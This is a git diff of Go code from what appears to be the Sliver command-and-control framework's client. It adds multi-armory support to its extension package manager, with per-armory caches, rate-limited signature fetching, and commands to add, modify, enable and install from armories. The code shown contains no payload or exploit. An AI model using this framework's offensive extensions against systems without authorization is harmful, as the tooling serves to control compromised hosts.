|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry, ok := value.(pkgCacheEntry)
|
||||
if !ok {
|
||||
// Keep going
|
||||
return true
|
||||
}
|
||||
if cacheEntry.ArmoryConfig.PublicKey == armoryPublicKey && cacheEntry.Pkg.CommandName == commandName {
|
||||
result = &cacheEntry
|
||||
// Stop iterating
|
||||
return false
|
||||
}
|
||||
return true
|
||||
})
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// Returns the package hashes in the cache for a given armory
|
||||
func packageHashLookupByArmory(armoryPublicKey string) []string {
|
||||
result := []string{}
|
||||
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry, ok := value.(pkgCacheEntry)
|
||||
if !ok {
|
||||
// Keep going
|
||||
return true
|
||||
}
|
||||
if cacheEntry.ArmoryConfig.PublicKey == armoryPublicKey {
|
||||
result = append(result, cacheEntry.ID)
|
||||
}
|
||||
return true
|
||||
})
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
func packageCacheLookupByID(packageID string) *pkgCacheEntry {
|
||||
var packageEntry *pkgCacheEntry
|
||||
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry, ok := value.(pkgCacheEntry)
|
||||
if !ok {
|
||||
// Keep going
|
||||
return true
|
||||
}
|
||||
if cacheEntry.LastErr == nil {
|
||||
if cacheEntry.ID == packageID {
|
||||
packageEntry = &cacheEntry
|
||||
// Stop iterating
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
})
|
||||
|
||||
return packageEntry
|
||||
}
|
||||
|
||||
func bundlesInCache() []*ArmoryBundle {
|
||||
bundles := []*ArmoryBundle{}
|
||||
indexCache.Range(func(key, value interface{}) bool {
|
||||
@@ -207,7 +385,7 @@ func AliasExtensionOrBundleCompleter() carapace.Action {
|
||||
var action carapace.Action
|
||||
|
||||
results := []string{}
|
||||
aliases, exts := packagesInCache()
|
||||
aliases, exts := packageManifestsInCache()
|
||||
bundles := bundlesInCache()
|
||||
|
||||
for _, aliasPkg := range aliases {
|
||||
@@ -256,6 +434,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
|
||||
|
||||
if con.Settings.SmallTermWidth+urlMargin < width {
|
||||
tw.AppendHeader(table.Row{
|
||||
"Armory",
|
||||
"Command Name",
|
||||
"Version",
|
||||
"Type",
|
||||
@@ -264,6 +443,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
|
||||
})
|
||||
} else {
|
||||
tw.AppendHeader(table.Row{
|
||||
"Armory",
|
||||
"Command Name",
|
||||
"Version",
|
||||
"Type",
|
||||
@@ -273,10 +453,11 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
|
||||
|
||||
// Columns start at 1 for some dumb reason
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Number: 1, Mode: table.Asc},
|
||||
{Number: 2, Mode: table.Asc},
|
||||
})
|
||||
|
||||
type pkgInfo struct {
|
||||
ArmoryName string
|
||||
CommandName string
|
||||
Version string
|
||||
Type string
|
||||
@@ -284,8 +465,10 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
|
||||
URL string
|
||||
}
|
||||
entries := []pkgInfo{}
|
||||
|
||||
for _, aliasPkg := range aliases {
|
||||
entries = append(entries, pkgInfo{
|
||||
ArmoryName: aliasPkg.ArmoryName,
|
||||
CommandName: aliasPkg.CommandName,
|
||||
Version: aliasPkg.Version,
|
||||
Type: "Alias",
|
||||
@@ -296,6 +479,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
|
||||
for _, extm := range exts {
|
||||
for _, extension := range extm.ExtCommand {
|
||||
entries = append(entries, pkgInfo{
|
||||
ArmoryName: extm.ArmoryName,
|
||||
CommandName: extension.CommandName,
|
||||
Version: extension.Manifest.Version,
|
||||
Type: "Extension",
|
||||
@@ -315,6 +499,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
|
||||
}
|
||||
if con.Settings.SmallTermWidth+urlMargin < width {
|
||||
rows = append(rows, table.Row{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.ArmoryName),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
|
||||
@@ -323,6 +508,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
|
||||
})
|
||||
} else {
|
||||
rows = append(rows, table.Row{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.ArmoryName),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
|
||||
@@ -340,6 +526,7 @@ func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverClient) {
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.SetTitle(console.Bold + "Bundles" + console.Normal)
|
||||
tw.AppendHeader(table.Row{
|
||||
"Armory Name",
|
||||
"Name",
|
||||
"Contains",
|
||||
})
|
||||
@@ -365,6 +552,7 @@ func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverClient) {
|
||||
}
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
bundle.ArmoryName,
|
||||
bundle.Name,
|
||||
packages,
|
||||
})
|
||||
@@ -402,12 +590,19 @@ func parseArmoryHTTPConfig(cmd *cobra.Command) ArmoryHTTPConfig {
|
||||
|
||||
// fetch armory indexes, only returns indexes that were fetched successfully
|
||||
// errors are still in the cache objects however and can be checked
|
||||
func fetchIndexes(armoryConfigs []*assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) []ArmoryIndex {
|
||||
func fetchIndexes(clientConfig ArmoryHTTPConfig) []ArmoryIndex {
|
||||
wg := &sync.WaitGroup{}
|
||||
for _, armoryConfig := range armoryConfigs {
|
||||
wg.Add(1)
|
||||
go fetchIndex(armoryConfig, clientConfig, wg)
|
||||
}
|
||||
// Try to get a max of 10 indexes at a time
|
||||
currentRequests := make(chan struct{}, 10)
|
||||
currentArmories.Range(func(key, value interface{}) bool {
|
||||
armoryEntry := value.(assets.ArmoryConfig)
|
||||
if armoryEntry.Enabled {
|
||||
wg.Add(1)
|
||||
currentRequests <- struct{}{}
|
||||
go fetchIndex(&armoryEntry, currentRequests, clientConfig, wg)
|
||||
}
|
||||
return true
|
||||
})
|
||||
wg.Wait()
|
||||
indexes := []ArmoryIndex{}
|
||||
indexCache.Range(func(key, value interface{}) bool {
|
||||
@@ -420,13 +615,19 @@ func fetchIndexes(armoryConfigs []*assets.ArmoryConfig, clientConfig ArmoryHTTPC
|
||||
return indexes
|
||||
}
|
||||
|
||||
func fetchIndex(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig, wg *sync.WaitGroup) {
|
||||
func fetchIndex(armoryConfig *assets.ArmoryConfig, requestChannel chan struct{}, clientConfig ArmoryHTTPConfig, wg *sync.WaitGroup) {
|
||||
defer wg.Done()
|
||||
defer func() {
|
||||
<-requestChannel
|
||||
}()
|
||||
cacheEntry, ok := indexCache.Load(armoryConfig.PublicKey)
|
||||
if ok {
|
||||
cached := cacheEntry.(indexCacheEntry)
|
||||
if time.Since(cached.Fetched) < cacheTime && cached.LastErr == nil && !clientConfig.IgnoreCache {
|
||||
return
|
||||
} else if time.Since(cached.Fetched) >= cacheTime {
|
||||
// If an index has gone stale, remove it from the index cache
|
||||
indexCache.Delete(armoryConfig.PublicKey)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -463,40 +664,95 @@ func fetchIndex(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig
|
||||
}
|
||||
}
|
||||
|
||||
func fetchPackageSignatures(indexes []ArmoryIndex, clientConfig ArmoryHTTPConfig) {
|
||||
wg := &sync.WaitGroup{}
|
||||
for _, index := range indexes {
|
||||
for _, armoryPkg := range index.Extensions {
|
||||
wg.Add(1)
|
||||
armoryPkg.IsAlias = false
|
||||
go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
|
||||
}
|
||||
for _, armoryPkg := range index.Aliases {
|
||||
wg.Add(1)
|
||||
armoryPkg.IsAlias = true
|
||||
go fetchPackageSignature(wg, index.ArmoryConfig, armoryPkg, clientConfig)
|
||||
}
|
||||
func calculateHashesForIndex(index ArmoryIndex) []string {
|
||||
result := []string{}
|
||||
|
||||
for _, pkg := range index.Aliases {
|
||||
result = append(result, calculatePackageHash(pkg))
|
||||
}
|
||||
wg.Wait()
|
||||
|
||||
for _, pkg := range index.Extensions {
|
||||
result = append(result, calculatePackageHash(pkg))
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
func fetchPackageSignature(wg *sync.WaitGroup, armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
|
||||
func makePackageCacheConsistent(index ArmoryIndex) {
|
||||
packagesToRemove := []string{}
|
||||
|
||||
// Get the packages for the armory out of the cache
|
||||
cacheHashesForArmory := packageHashLookupByArmory(index.ArmoryConfig.PublicKey)
|
||||
indexHashesForArmory := calculateHashesForIndex(index)
|
||||
|
||||
if len(cacheHashesForArmory) > len(indexHashesForArmory) {
|
||||
// Then there are packages in the cache that do not exist in the armory
|
||||
if len(indexHashesForArmory) == 0 {
|
||||
packagesToRemove = cacheHashesForArmory
|
||||
} else {
|
||||
for _, packageHash := range indexHashesForArmory {
|
||||
if !slices.Contains(cacheHashesForArmory, packageHash) {
|
||||
packagesToRemove = append(packagesToRemove, packageHash)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
// The remaining case of there being packages in the armory that do not exist in the cache
|
||||
// will have to be solved with fetchPackageSignatures, and that function calls this one
|
||||
// after fetching signatures and storing them in the cache, so that case should not apply
|
||||
|
||||
for _, packageHash := range packagesToRemove {
|
||||
pkgCache.Delete(packageHash)
|
||||
}
|
||||
}
|
||||
|
||||
func fetchPackageSignatures(index ArmoryIndex, clientConfig ArmoryHTTPConfig) {
|
||||
wg := &sync.WaitGroup{}
|
||||
// Be kind to armories and limit concurrent requests to 10
|
||||
// This is an arbritrary number and we may have to tweak it if it causes problems
|
||||
currentRequests := make(chan struct{}, 10)
|
||||
for _, armoryPkg := range index.Extensions {
|
||||
wg.Add(1)
|
||||
currentRequests <- struct{}{}
|
||||
armoryPkg.IsAlias = false
|
||||
go fetchPackageSignature(wg, currentRequests, index.ArmoryConfig, armoryPkg, clientConfig)
|
||||
}
|
||||
for _, armoryPkg := range index.Aliases {
|
||||
wg.Add(1)
|
||||
currentRequests <- struct{}{}
|
||||
armoryPkg.IsAlias = true
|
||||
go fetchPackageSignature(wg, currentRequests, index.ArmoryConfig, armoryPkg, clientConfig)
|
||||
}
|
||||
wg.Wait()
|
||||
|
||||
// If packages were deleted from the index, make sure the cache is consistent
|
||||
makePackageCacheConsistent(index)
|
||||
}
|
||||
|
||||
func fetchPackageSignature(wg *sync.WaitGroup, requestChannel chan struct{}, armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) {
|
||||
defer wg.Done()
|
||||
cacheEntry, ok := pkgCache.Load(armoryPkg.CommandName)
|
||||
defer func() {
|
||||
<-requestChannel
|
||||
}()
|
||||
cacheEntry, ok := pkgCache.Load(armoryPkg.ID)
|
||||
if ok {
|
||||
cached := cacheEntry.(pkgCacheEntry)
|
||||
if time.Since(cached.Fetched) < cacheTime && cached.LastErr == nil && !clientConfig.IgnoreCache {
|
||||
return
|
||||
} else if time.Since(cached.Fetched) >= cacheTime {
|
||||
// If a package has gone stale, remove it from the package cache
|
||||
pkgCache.Delete(armoryPkg.ID)
|
||||
}
|
||||
}
|
||||
|
||||
pkgCacheEntry := &pkgCacheEntry{
|
||||
ArmoryConfig: armoryConfig,
|
||||
RepoURL: armoryPkg.RepoURL,
|
||||
ID: armoryPkg.ID,
|
||||
}
|
||||
defer func() {
|
||||
pkgCacheEntry.Fetched = time.Now()
|
||||
pkgCache.Store(armoryPkg.CommandName, *pkgCacheEntry)
|
||||
pkgCache.Store(armoryPkg.ID, *pkgCacheEntry)
|
||||
}()
|
||||
|
||||
repoURL, err := url.Parse(armoryPkg.RepoURL)
|
||||
@@ -528,19 +784,53 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryConfig *assets.ArmoryConfig
|
||||
if armoryPkg != nil {
|
||||
pkgCacheEntry.Pkg = *armoryPkg
|
||||
}
|
||||
if err == nil {
|
||||
manifestData, err := base64.StdEncoding.DecodeString(sig.TrustedComment)
|
||||
if err != nil {
|
||||
pkgCacheEntry.LastErr = fmt.Errorf("failed to b64 decode trusted comment: %s", err)
|
||||
return
|
||||
}
|
||||
if armoryPkg.IsAlias {
|
||||
pkgCacheEntry.Alias, err = alias.ParseAliasManifest(manifestData)
|
||||
} else {
|
||||
pkgCacheEntry.Extension, err = extensions.ParseExtensionManifest(manifestData)
|
||||
}
|
||||
if err != nil {
|
||||
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse trusted manifest in pkg signature: %s", err)
|
||||
}
|
||||
|
||||
manifestData, err := base64.StdEncoding.DecodeString(sig.TrustedComment)
|
||||
if err != nil {
|
||||
pkgCacheEntry.LastErr = fmt.Errorf("failed to b64 decode trusted comment: %s", err)
|
||||
return
|
||||
}
|
||||
if armoryPkg.IsAlias {
|
||||
pkgCacheEntry.Alias, err = alias.ParseAliasManifest(manifestData)
|
||||
pkgCacheEntry.Alias.ArmoryName = armoryConfig.Name
|
||||
pkgCacheEntry.Alias.ArmoryPK = armoryConfig.PublicKey
|
||||
} else {
|
||||
pkgCacheEntry.Extension, err = extensions.ParseExtensionManifest(manifestData)
|
||||
pkgCacheEntry.Extension.ArmoryName = armoryConfig.Name
|
||||
pkgCacheEntry.Extension.ArmoryPK = armoryConfig.PublicKey
|
||||
}
|
||||
if err != nil {
|
||||
pkgCacheEntry.LastErr = fmt.Errorf("failed to parse trusted manifest in pkg signature: %s", err)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func clearAllCaches() {
|
||||
currentArmories.Range(func(key, value any) bool {
|
||||
currentArmories.Delete(key)
|
||||
return true
|
||||
})
|
||||
indexCache.Range(func(key, value any) bool {
|
||||
indexCache.Delete(key)
|
||||
return true
|
||||
})
|
||||
pkgCache.Range(func(key, value any) bool {
|
||||
pkgCache.Delete(key)
|
||||
return true
|
||||
})
|
||||
}
|
||||
|
||||
func getArmoryPublicKey(armoryName string) string {
|
||||
// Find PK for the armory name
|
||||
armoryPK := ""
|
||||
currentArmories.Range(func(key, value any) bool {
|
||||
armoryEntry := value.(assets.ArmoryConfig)
|
||||
if armoryEntry.Name == armoryName {
|
||||
armoryPK = armoryEntry.PublicKey
|
||||
return false
|
||||
}
|
||||
return true
|
||||
})
|
||||
|
||||
return armoryPK
|
||||
}
|
||||
@@ -42,6 +42,10 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
ArmoryInstallCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind("", false, armoryInstallCmd, func(f *pflag.FlagSet) {
|
||||
f.BoolP("force", "f", false, "force installation of package, overwriting the package if it exists")
|
||||
f.StringP("armory", "a", "", "name of armory to install package from")
|
||||
})
|
||||
armoryCmd.AddCommand(armoryInstallCmd)
|
||||
flags.NewCompletions(armoryInstallCmd).PositionalCompletion(
|
||||
AliasExtensionOrBundleCompleter().Usage("name of the extension or alias to install"),
|
||||
@@ -49,12 +53,15 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
|
||||
armoryUpdateCmd := &cobra.Command{
|
||||
Use: consts.UpdateStr,
|
||||
Short: "Update installed an aliases and extensions",
|
||||
Short: "Update installed aliases and extensions",
|
||||
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.UpdateStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
ArmoryUpdateCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind("", false, armoryUpdateCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("armory", "a", "", "name of armory to get updates from")
|
||||
})
|
||||
armoryCmd.AddCommand(armoryUpdateCmd)
|
||||
|
||||
armorySearchCmd := &cobra.Command{
|
||||
@@ -69,5 +76,136 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
armoryCmd.AddCommand(armorySearchCmd)
|
||||
flags.NewCompletions(armorySearchCmd).PositionalCompletion(carapace.ActionValues().Usage("a name regular expression"))
|
||||
|
||||
armoryInfoCmd := &cobra.Command{
|
||||
Use: consts.InfoStr,
|
||||
Short: "View configured armories or details about a specific armory or package",
|
||||
Args: cobra.RangeArgs(0, 1),
|
||||
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.InfoStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
ArmoryInfoCommand(cmd, con, args)
|
||||
},
|
||||
}
|
||||
armoryCmd.AddCommand(armoryInfoCmd)
|
||||
carapace.Gen(armoryInfoCmd).PositionalCompletion(
|
||||
carapace.ActionValues().Usage("armory or package name"),
|
||||
)
|
||||
|
||||
armoryAddCmd := &cobra.Command{
|
||||
Use: consts.AddStr,
|
||||
Short: "Add a new armory",
|
||||
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.AddStr}),
|
||||
Args: cobra.ExactArgs(1), // the name of the armory
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
AddArmoryCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind("", false, armoryAddCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("url", "u", "", "The URL of the armory index (required)")
|
||||
f.StringP("pubkey", "k", "", "The public key for the armory (required)")
|
||||
f.StringP("auth", "a", "", "Authorization details / credentials for the armory")
|
||||
f.StringP("authcmd", "x", "", "Local command to run for authorization to the armory")
|
||||
f.BoolP("no-save", "e", false, "Do not save this armory configuration to disk")
|
||||
})
|
||||
armoryAddCmd.MarkFlagRequired("url")
|
||||
armoryAddCmd.MarkFlagRequired("pubkey")
|
||||
carapace.Gen(armoryAddCmd).PositionalCompletion(
|
||||
carapace.ActionValues().Usage("name of the armory"),
|
||||
)
|
||||
armoryCmd.AddCommand(armoryAddCmd)
|
||||
|
||||
armoryRemoveCmd := &cobra.Command{
|
||||
Use: consts.RmStr,
|
||||
Short: "Remove an armory",
|
||||
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.RmStr}),
|
||||
Args: cobra.ExactArgs(1), // the name of the armory
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
RemoveArmoryCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
carapace.Gen(armoryAddCmd).PositionalCompletion(
|
||||
carapace.ActionValues().Usage("name of the armory"),
|
||||
)
|
||||
armoryCmd.AddCommand(armoryRemoveCmd)
|
||||
|
||||
armorySaveCmd := &cobra.Command{
|
||||
Use: consts.SaveStr,
|
||||
Short: "Save the armory configuration to disk",
|
||||
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.SaveStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
SaveArmories(con)
|
||||
},
|
||||
}
|
||||
armoryCmd.AddCommand(armorySaveCmd)
|
||||
|
||||
armoryEnableCmd := &cobra.Command{
|
||||
Use: consts.EnableStr,
|
||||
Short: "Enable an armory",
|
||||
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.EnableStr}),
|
||||
Args: cobra.ExactArgs(1), // The name of the armory
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
ChangeArmoryEnabledState(cmd, con, args, true)
|
||||
},
|
||||
}
|
||||
carapace.Gen(armoryEnableCmd).PositionalCompletion(
|
||||
carapace.ActionValues().Usage("name of the armory"),
|
||||
)
|
||||
armoryCmd.AddCommand(armoryEnableCmd)
|
||||
|
||||
armoryDisableCmd := &cobra.Command{
|
||||
Use: consts.DisableStr,
|
||||
Short: "Disable an armory",
|
||||
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.DisableStr}),
|
||||
Args: cobra.ExactArgs(1), // The name of the armory
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
ChangeArmoryEnabledState(cmd, con, args, false)
|
||||
},
|
||||
}
|
||||
carapace.Gen(armoryDisableCmd).PositionalCompletion(
|
||||
carapace.ActionValues().Usage("name of the armory"),
|
||||
)
|
||||
armoryCmd.AddCommand(armoryDisableCmd)
|
||||
|
||||
armoryModifyCmd := &cobra.Command{
|
||||
Use: consts.ModifyStr,
|
||||
Short: "Modify an armory configuration",
|
||||
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.ModifyStr}),
|
||||
Args: cobra.ExactArgs(1), // The name of the armory
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
ModifyArmoryCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind("", false, armoryModifyCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("name", "n", "", "new name for the armory")
|
||||
f.StringP("pubkey", "k", "", "new public key for the armory")
|
||||
f.StringP("url", "u", "", "new URL for the armory")
|
||||
f.StringP("auth", "a", "", "new authorization details / credentials for the armory")
|
||||
f.StringP("authcmd", "x", "", "new local command to run for authorization to the armory")
|
||||
f.BoolP("no-save", "e", false, "do not save armory configuration to armory configuration file")
|
||||
})
|
||||
carapace.Gen(armoryModifyCmd).PositionalCompletion(
|
||||
carapace.ActionValues().Usage("name of the armory"),
|
||||
)
|
||||
armoryCmd.AddCommand(armoryModifyCmd)
|
||||
|
||||
armoryRefreshCmd := &cobra.Command{
|
||||
Use: consts.RefreshStr,
|
||||
Short: "Refresh armory indexes",
|
||||
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.RefreshStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
RefreshArmories(cmd, con)
|
||||
},
|
||||
}
|
||||
armoryCmd.AddCommand(armoryRefreshCmd)
|
||||
|
||||
armoryResetCmd := &cobra.Command{
|
||||
Use: consts.ResetStr,
|
||||
Short: "Reset armory configuration",
|
||||
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.ResetStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
ResetArmoryConfig(cmd, con)
|
||||
},
|
||||
}
|
||||
armoryCmd.AddCommand(armoryResetCmd)
|
||||
|
||||
return []*cobra.Command{armoryCmd}
|
||||
}
|
||||
@@ -19,122 +19,444 @@ package armory
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"net/url"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"slices"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/alias"
|
||||
"github.com/bishopfox/sliver/client/command/extensions"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/bishopfox/sliver/util/minisign"
|
||||
)
|
||||
|
||||
// ErrPackageNotFound - The package was not found
|
||||
var ErrPackageNotFound = errors.New("package not found")
|
||||
var ErrPackageAlreadyInstalled = errors.New("package is already installed")
|
||||
|
||||
const (
|
||||
doNotInstallOption = "Do not install this package"
|
||||
doNotInstallPackageName = "do not install"
|
||||
)
|
||||
|
||||
// ArmoryInstallCmd - The armory install command
|
||||
func ArmoryInstallCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
var promptToOverwrite bool
|
||||
name := args[0]
|
||||
// name := ctx.Args.String("name")
|
||||
if name == "" {
|
||||
con.PrintErrorf("A package or bundle name is required")
|
||||
return
|
||||
}
|
||||
forceInstallation, err := cmd.Flags().GetBool("force")
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not parse %q flag: %s\n", "force", err)
|
||||
return
|
||||
}
|
||||
if forceInstallation {
|
||||
promptToOverwrite = false
|
||||
} else {
|
||||
promptToOverwrite = true
|
||||
}
|
||||
|
||||
armoryName, err := cmd.Flags().GetString("armory")
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not parse %q flag: %s\n", "armory", err)
|
||||
return
|
||||
}
|
||||
|
||||
// Find PK for the armory name
|
||||
armoryPK := getArmoryPublicKey(armoryName)
|
||||
|
||||
// If the armory with the name is not found, print a warning
|
||||
if cmd.Flags().Changed("armory") && armoryPK == "" {
|
||||
con.PrintWarnf("Could not find a configured armory named %q - searching all configured armories\n\n", armoryName)
|
||||
}
|
||||
|
||||
clientConfig := parseArmoryHTTPConfig(cmd)
|
||||
refresh(clientConfig)
|
||||
if name == "all" {
|
||||
aliases, extensions := packagesInCache()
|
||||
aliases, extensions := packageManifestsInCache()
|
||||
aliasCount, extCount := countUniqueCommandsFromManifests(aliases, extensions)
|
||||
confirm := false
|
||||
pluralAliases := "es"
|
||||
if aliasCount == 1 {
|
||||
pluralAliases = ""
|
||||
}
|
||||
pluralExtensions := "s"
|
||||
if extCount == 1 {
|
||||
pluralExtensions = ""
|
||||
}
|
||||
prompt := &survey.Confirm{
|
||||
Message: fmt.Sprintf("Install %d aliases and %d extensions?",
|
||||
len(aliases), len(extensions),
|
||||
Message: fmt.Sprintf("Install %d alias%s and %d extension%s?",
|
||||
aliasCount, pluralAliases, extCount, pluralExtensions,
|
||||
),
|
||||
}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
promptToOverwrite = false
|
||||
}
|
||||
err := installPackageByName(name, clientConfig, con)
|
||||
err = installPackageByName(name, armoryPK, forceInstallation, promptToOverwrite, clientConfig, con)
|
||||
if err == nil {
|
||||
return
|
||||
}
|
||||
if err == ErrPackageNotFound {
|
||||
if errors.Is(err, ErrPackageNotFound) {
|
||||
bundles := bundlesInCache()
|
||||
for _, bundle := range bundles {
|
||||
if bundle.Name == name {
|
||||
installBundle(bundle, clientConfig, con)
|
||||
installBundle(bundle, armoryPK, forceInstallation, clientConfig, con)
|
||||
return
|
||||
}
|
||||
}
|
||||
// If we have made it here, then there was not a bundle or package that matched the provided name
|
||||
if armoryPK == "" {
|
||||
con.PrintErrorf("No package or bundle named %q was found\n", name)
|
||||
} else {
|
||||
con.PrintErrorf("No package or bundle named %q was found in armory %s\n", name, armoryName)
|
||||
}
|
||||
} else if errors.Is(err, ErrPackageAlreadyInstalled) {
|
||||
con.PrintErrorf("Package %q is already installed - use the force option to overwrite it\n", name)
|
||||
} else {
|
||||
con.PrintErrorf("Could not install package: %s\n", err)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func installBundle(bundle *ArmoryBundle, armoryPK string, forceInstallation bool, clientConfig ArmoryHTTPConfig, con *console.SliverClient) {
|
||||
installList := []string{}
|
||||
pendingPackages := make(map[string]string)
|
||||
|
||||
for _, bundlePkgName := range bundle.Packages {
|
||||
packageInstallList, err := buildInstallList(bundlePkgName, armoryPK, forceInstallation, pendingPackages)
|
||||
if err != nil {
|
||||
if errors.Is(err, ErrPackageAlreadyInstalled) {
|
||||
con.PrintInfof("Package %s is already installed. Skipping...\n", bundlePkgName)
|
||||
continue
|
||||
} else {
|
||||
con.PrintErrorf("Error for package %s: %s\n", bundlePkgName, err)
|
||||
return
|
||||
}
|
||||
}
|
||||
for _, pkgID := range packageInstallList {
|
||||
if !slices.Contains(installList, pkgID) {
|
||||
installList = append(installList, pkgID)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for _, packageID := range installList {
|
||||
packageEntry := packageCacheLookupByID(packageID)
|
||||
if packageEntry == nil {
|
||||
con.PrintErrorf("The package cache is out of date. Please run armory refresh and try again.\n")
|
||||
return
|
||||
}
|
||||
if packageEntry.Pkg.IsAlias {
|
||||
err := installAliasPackage(packageEntry, false, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install alias '%s': %s", packageEntry.Alias.CommandName, err)
|
||||
return
|
||||
}
|
||||
} else {
|
||||
err := installExtensionPackage(packageEntry, false, clientConfig, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install extension '%s': %s", packageEntry.Extension.Name, err)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
con.PrintErrorf("No package or bundle named '%s' was found", name)
|
||||
}
|
||||
|
||||
func installBundle(bundle *ArmoryBundle, clientConfig ArmoryHTTPConfig, con *console.SliverClient) {
|
||||
for _, pkgName := range bundle.Packages {
|
||||
err := installPackageByName(pkgName, clientConfig, con)
|
||||
func getInstalledPackageNames() []string {
|
||||
packageNames := []string{}
|
||||
|
||||
installedAliases := assets.GetInstalledAliasManifests()
|
||||
installedExtensions := assets.GetInstalledExtensionManifests()
|
||||
|
||||
for _, aliasFileName := range installedAliases {
|
||||
alias := &alias.AliasManifest{}
|
||||
manifestData, err := os.ReadFile(aliasFileName)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install '%s': %s", pkgName, err)
|
||||
continue
|
||||
}
|
||||
err = json.Unmarshal(manifestData, alias)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if !slices.Contains(packageNames, alias.CommandName) {
|
||||
packageNames = append(packageNames, alias.CommandName)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func installPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverClient) error {
|
||||
aliases, extensions := packagesInCache()
|
||||
for _, alias := range aliases {
|
||||
if alias.CommandName == name || name == "all" {
